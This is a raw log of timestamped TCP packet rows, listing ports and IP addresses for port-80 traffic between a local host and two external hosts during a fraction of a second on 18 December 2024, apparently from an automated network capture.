Dec 18, 2024 12:00:25.849692106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.849729061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.849766970 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.850389957 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.850426912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.850501060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.850542068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.851201057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.851244926 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.851278067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.851321936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.859736919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.859795094 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.859806061 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.859842062 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.859911919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.859950066 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.860059977 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.860099077 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.860975027 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.861027956 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.861061096 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.861105919 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.869966030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.870050907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.870064020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.870126009 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.870126009 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.870126009 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.870209932 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.870227098 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.870239019 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.870249033 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.870253086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.870277882 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.870300055 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.870516062 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.870527029 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.870547056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.870559931 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.870572090 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.870573044 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.870596886 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.870609045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.871041059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.871052027 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.871062994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.871076107 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.871094942 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.871134996 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.876266003 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.876317978 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.876321077 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.876336098 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.876363039 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.876377106 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.876460075 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.876498938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.876538992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.876553059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.876595974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.876672029 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.876705885 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.876729965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.876745939 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.876760960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.876781940 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.876797915 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.876974106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.876986027 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.877017975 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.877470970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.877527952 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.877578974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.877685070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.878515959 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.878566980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.878652096 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.878781080 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.879576921 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.879735947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.879765987 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.879779100 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.880712032 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.880759001 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.880848885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.880896091 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.881819010 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.881902933 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.881930113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.881958961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.882924080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.882982016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.883008003 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.883049965 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.884042978 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.884099007 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.884135962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.884176970 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.885153055 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.885229111 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.885245085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.885282040 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.886176109 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.886226892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.886291981 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.886329889 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.887326956 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.887379885 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.887450933 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.887485027 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.888407946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.888457060 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.888472080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.888510942 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.889436960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.889554024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.889554977 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.889655113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.890561104 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.890602112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.890650034 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.891654968 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.891700983 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.891741037 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.891782999 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.892786980 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.892846107 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.892879963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.892919064 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.893829107 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.893878937 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.893981934 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.894082069 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.894970894 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.895047903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.895047903 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.895131111 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.896064043 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.896109104 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.896200895 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.896241903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.897186995 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.897247076 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.897280931 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.897329092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.898274899 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.898322105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.898394108 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.898432016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.899357080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.899404049 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.899424076 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.899457932 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.900434017 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.900495052 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.900571108 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.900613070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.901568890 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.901643991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.901722908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.901766062 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.902777910 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.902798891 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.902828932 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.902858973 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.903707027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.903769016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.903783083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.903839111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.903877974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.903903008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.903944969 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.903979063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.903991938 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.904017925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.904031038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.904818058 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.904881001 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.904891014 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.904905081 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.904932976 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.904947042 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.905021906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.905061960 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.905941963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.906011105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.906032085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.906071901 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.907120943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.907161951 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.907238960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.907279968 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.908233881 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.908313990 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.908338070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.908351898 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.909295082 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.909440041 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.909522057 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.909601927 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.910104990 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.910197973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.910209894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.910245895 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.910290956 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.910375118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.910387039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.910401106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.910417080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.910446882 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.910612106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.910654068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.910759926 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.910800934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.911242008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.911284924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.911292076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.911326885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.911418915 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.911432028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.911473989 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.912168980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.912215948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.912389040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.912499905 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.912511110 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.912571907 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.912692070 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.912775993 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.913115025 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.913249016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.913290024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.913779020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.913825035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.913903952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.913917065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.913959980 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.913959980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.914160967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.914262056 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.914742947 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.914803028 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.914819002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.914855957 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.915136099 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.915189028 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.915292025 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.915517092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.915565968 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.915641069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.915647030 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.915689945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.916366100 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.916419983 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.916443110 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.916455030 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.916487932 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.916500092 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.916591883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.916630983 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.917125940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.917181969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.917304039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.917345047 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.917531967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.917608976 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.918042898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.918122053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.918169022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.918759108 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.918818951 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.918850899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.918890953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.919435024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.919487953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.919641972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.919923067 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.920676947 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.920725107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.920758963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.920772076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.920805931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.920838118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.920880079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.920944929 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.921377897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.921463013 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.921463966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.921504974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.921911955 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.922087908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.922096014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.922127008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.922663927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.922709942 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.922797918 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.922840118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.923389912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.923437119 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.923501015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.923544884 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.924109936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.924165964 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.924180984 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.924220085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.924938917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.925041914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.925076008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.925113916 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.925651073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.925703049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.925772905 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.925879955 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.926347017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.926389933 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.926472902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.926516056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.927284002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.927376986 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.927414894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.927459955 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.928035975 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.928081036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.928167105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.928214073 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.928685904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.928739071 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.928786039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.928824902 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.929466963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.929524899 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.929565907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.929604053 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.930195093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.930315018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.930352926 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.930398941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.931022882 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.931081057 CET	49913	80	192.168.2.6	185.215.113.17
